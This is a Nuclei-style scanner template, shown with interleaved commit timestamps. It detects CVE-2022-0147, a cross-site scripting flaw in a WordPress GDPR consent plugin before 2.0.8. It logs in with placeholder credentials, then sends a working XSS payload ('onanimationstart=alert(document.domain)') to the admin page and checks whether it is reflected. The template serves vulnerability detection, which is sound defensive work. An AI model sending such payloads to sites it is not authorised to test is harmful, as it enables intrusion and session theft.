2022-10-23 23:13:07 +00:00
id : CVE-2022-0147
info :
2022-12-09 21:40:18 +00:00
name : WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
2022-10-23 23:13:07 +00:00
author : 8arthur
severity : medium
description : |
2022-12-09 21:40:18 +00:00
WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the WordPress Cookie Information/Free GDPR Consent Solution plugin (2.0.8 or higher) to mitigate this vulnerability.
2022-10-23 23:13:07 +00:00
reference :
- https://wpscan.com/vulnerability/2c735365-69c0-4652-b48e-c4a192dfe0d1
- https://wordpress.org/plugins/wp-gdpr-compliance/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0147
2023-04-12 10:55:48 +00:00
- https://plugins.trac.wordpress.org/changeset/2681371
2022-10-23 23:13:07 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-0147
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.001
2024-01-14 13:49:27 +00:00
epss-percentile : 0.40832
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:cookieinformation:wp-gdpr-compliance:*:*:*:*:*:wordpress:*:*
2022-10-24 19:45:25 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : cookieinformation
product : wp-gdpr-compliance
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,wordpress,xss,wp,authenticated,wp-plugin,wp-gdpr-compliance,wpscan,cookieinformation
2022-10-23 23:13:07 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-23 23:13:07 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1
Host : {{Hostname}}
2022-10-24 19:45:25 +00:00
2022-10-23 23:13:07 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
2022-10-24 19:45:25 +00:00
- "toplevel_page_wp-gdpr-compliance"
2022-10-24 19:49:03 +00:00
condition : and
2022-10-23 23:13:07 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
2022-10-24 19:45:25 +00:00
- 200
2024-01-26 08:31:11 +00:00
# digest: 4b0a00483046022100c0b5d5f12d52008c9ccd521518e2f2fb845eb33c8d7d16186a645196aaa992a8022100f6255a9089afad7aaf09d3929f440a647bba47d81b1c23abb31319d11f49a103:922c64590222798bb761d5b6d8e72950